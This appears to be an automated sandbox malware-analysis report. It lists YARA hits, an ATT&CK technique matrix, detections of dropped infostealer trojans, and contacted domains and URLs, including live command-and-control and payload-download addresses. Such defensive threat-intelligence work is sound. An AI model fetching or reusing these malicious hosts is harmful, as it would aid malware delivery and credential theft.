Source: Yara match	File source: 0000000B.00000002.3004186690.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3274363852.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7451ae0b11.exe PID: 6196, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	22 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	48%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002538001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DP4Z2JGIRNCYT3CKHONMY.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1002538001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	34%	ReversingLabs	Win32.Infostealer.Tinba

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
star-mini.c10r.facebook.com	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
prod.balrog.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
twitter.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	0%	URL Reputation	safe
https://monitor.firefox.com/breach-details/	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/addon/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
http://exslt.org/sets	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://api.accounts.firefox.com/v1	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
https://fpn.firefox.com	0%	URL Reputation	safe
https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	0%	URL Reputation	safe
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
star-mini.c10r.facebook.com	157.240.251.35	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	0%, Virustotal, Browse	unknown
twitter.com	104.244.42.129	true	false	0%, Virustotal, Browse	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false		unknown
dyna.wikimedia.org	185.15.59.224	true	false		unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false		unknown
contile.services.mozilla.com	34.117.188.166	true	false		unknown
youtube.com	142.250.184.206	true	false		unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false		unknown
youtube-ui.l.google.com	172.217.16.142	true	false		unknown
reddit.map.fastly.net	151.101.129.140	true	false		unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false		unknown
ipv4only.arpa	192.0.0.171	true	false		unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false		unknown
push.services.mozilla.com	34.107.243.93	true	false		unknown
necklacedmny.store	188.114.96.3	true	true		unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false		unknown
www.reddit.com	unknown	unknown	false		unknown
spocs.getpocket.com	unknown	unknown	false		unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false		unknown
presticitpo.store	unknown	unknown	true		unknown
support.mozilla.org	unknown	unknown	false		unknown
firefox.settings.services.mozilla.com	unknown	unknown	false		unknown
www.youtube.com	unknown	unknown	false		unknown
fadehairucw.store	unknown	unknown	true		unknown
www.facebook.com	unknown	unknown	false		unknown
detectportal.firefox.com	unknown	unknown	false		unknown
thumbystriw.store	unknown	unknown	true		unknown
shavar.services.mozilla.com	unknown	unknown	false		unknown
crisiwarny.store	unknown	unknown	true		unknown
www.wikipedia.org	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
fadehairucw.store	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
founpiuer.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.openh264.org//	firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2174370045.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896261286.0000000005958000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896136861.000000000596F000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051709799.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3056682924.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051343446.000000000601D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://basket.mozilla.org/news/subscribe_sms/	firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2174370045.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896261286.0000000005958000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896136861.000000000596F000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051709799.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3056682924.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051343446.000000000601D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3276626657.0000019E4CD8C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exeee	58ce8f976c.exe, 0000000A.00000003.3094128687.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exeeg	58ce8f976c.exe, 0000000A.00000003.3094128687.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	firefox.exe, 0000001A.00000003.3113463433.0000019E53D23000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001A.00000002.3276626657.0000019E4CD67000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://addons.mozilla.org/user-media/addon_icons/784/784287-64.png?modified=mcrushed	firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ebay.com	firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://screenshots.firefox.com	firefox.exe, 0000001A.00000002.3224109770.0000019E3B803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.3239630691.0000019E495BE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 0000001A.00000002.3276626657.0000019E4CD52000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001A.00000002.3264016612.0000019E4C108000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://addons.mozilla.org/user-media/addon_icons/700/700308-64.png?modified=4bc8e79f	firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://addons.mozilla.org/en-US/firefox/collections/4757633/25c2b44583534b3fa8fea977c419cd/?page=1&	firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/breach-details/	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 0000001A.00000002.3266603908.0000019E4C266000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285958832.0000019E4DA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285958832.0000019E4DA19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()	firefox.exe, 0000001A.00000002.3273423332.0000019E4C980000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/74f06853-c80d-4afc-9b2	firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm	firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001A.00000002.3254465653.0000019E4BC13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3086228555.0000019E4B852000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3084909437.0000019E4B600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3085359079.0000019E4B80F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com/	firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingschrome://browser/content/mi	firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001A.00000003.3084909437.0000019E4B600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3085359079.0000019E4B80F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 0000001A.00000002.3273423332.0000019E4C980000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/sets	firefox.exe, 0000001A.00000002.3227788063.0000019E47026000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://youtube.com/	firefox.exe, 0000001A.00000003.3165170400.0000019E4E042000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store	file.exe, 00000000.00000003.2231452850.000000000156E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=utf-8&mode=blended&tag=mozill	firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 0000001A.00000002.3285958832.0000019E4DA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285958832.0000019E4DA19000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://youtube.com/accountincrementModificationCountstrippedUrlToTopPrefixAndTitlesuggestedIndexRes	firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.accounts.firefox.com/v1	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/common	firefox.exe, 0000001A.00000002.3227788063.0000019E47026000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.mozilla.com/v1i	firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ok.ru/	firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 0000001A.00000002.3273423332.0000019E4C980000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://fpn.firefox.com	firefox.exe, 0000001A.00000002.3234086295.0000019E48C4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3224109770.0000019E3B86B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2	firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	firefox.exe, 0000001A.00000002.3266603908.0000019E4C266000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2174370045.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896261286.0000000005958000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896136861.000000000596F000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051709799.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3056682924.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051343446.000000000601D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/policies/privacy/2	firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2197608376.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2924958983.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3087303221.0000000006013000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269450087.0000019E4C366000.00000004.00000800.00020000.00000000.sdmp	false		unknown
